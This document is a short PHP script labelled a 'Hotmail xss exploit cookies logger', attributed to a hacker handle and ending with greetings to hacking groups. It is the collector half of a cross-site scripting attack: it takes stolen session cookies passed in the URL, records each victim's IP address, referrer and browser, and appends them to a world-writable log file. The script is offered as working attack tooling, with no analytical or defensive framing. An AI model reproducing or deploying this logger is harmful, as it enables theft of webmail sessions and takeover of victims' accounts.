1337r1z Hotmail xss exploit cookies logger

<?php
#############!!Priv8!!Priv8!!#############
#   Hotmail xss vuln. cookies logger     #
#      Coded By HaCKeR-MaN (i-Hmx)       #
# sec4ever.com  , alm3refh.com , 7rs.org #
#  personal Blog : 1337r1z.wordpress.com #
#############!!Priv8!!Priv8!!#############
$url="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$my=str_replace($_SERVER['HTTP_HOST'],'',$url);
$myh=str_replace("http:///co.php?c=",'',$my);
$faris=urldecode($myh);
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect = $_GET['redirect'];
$data = "IP: " . $ip . "\n"
."Cookie: " . $faris . "\n"
."Referrer: " . $referer . "\n"
."Browser: " . $browser . "\n\n";
$log = "ok.txt";
@chmod($log, 0777);
$f = fopen($log, 'a');
fwrite($f, $data);
fclose($f);
/*
shouts to Karar , H311 C0D3 , Lagripe-Dz , Red virus , T3rrorist , the injector , Orange-Man , Fox-hacker
  sec-mind , zaid , sa^Devil , Xss-Man , Raymon , Maestro-dz , sharp-hack and all [Eg,Ps,Dz,Ma,Sy] HaCKeRs
*/
?>